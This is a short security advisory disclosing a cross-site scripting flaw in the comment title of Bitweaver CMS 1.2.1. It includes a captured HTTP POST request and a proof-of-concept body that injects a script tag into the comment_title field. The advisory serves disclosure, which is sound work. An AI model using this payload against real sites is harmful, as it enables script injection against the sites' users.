[UNIX] Bitweaver CMS User Comment Title XSS

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Bitweaver CMS User Comment Title XSS
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SUMMARY

"bitweaver is an application framework for content management. "

Improper user input handling in Bitweaver CMS allows attackers to exploit
a Cross Site Scripting.

DETAILS

Vulnerable Systems:
* Bitweaver CMS version 1.2.1

Bitweaver contains a flaw that allows a cross site scripting attack.
The vulnerability is found in the title of the registered user comment
page and the user can modify the function POST and insert the XSS code

- HTTP POST request -

http://[target]/[patch]/read.php?article_id=7#editcomments
POST /articles/read.php?article_id=7 HTTP/1.1
Host: http://[target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12)
Gecko/20050919 Firefox/1.0.7
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://[target]/articles/read.php?article_id=7
Cookie: mod_usertrack=82.56.164.250.1141558144377994;
BWSESSION=v5a6krvki42h0puv48dc5coki0; tz_offset=3600;
tiki-user-bitweaver=616706c4d6f7bdf68b30893f860cbb2b
Content-Type: application/x-www-form-urlencoded
Content-Length: 265
tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=hacking&comment_data=[your_name_logged]&post_comment_submit=Post

The modified code can be as follows:

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=%3Cscript%3Ealert%28%22lol%22%29%3B%3C%2Fscript%3E&comment_data=[your_name_logged]&post_comment_submit=Post

Proof of Concept:
For this exploit you must be registred at the site.
For using the parameters bellow, attackers should change some of the given
parameters for his/her user on the cms:

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=[XSS]&comment_data=[your_name_logged]&post_comment_submit=Post


ADDITIONAL INFORMATION

The information has been provided by <mailto:federico.sana@xxxxxxxx>
Kiki.
The original article can be found at:
<http://kiki91.altervista.org/exploit/bitweaver_1.2.1_XSS.txt>
http://kiki91.altervista.org/exploit/bitweaver_1.2.1_XSS.txt



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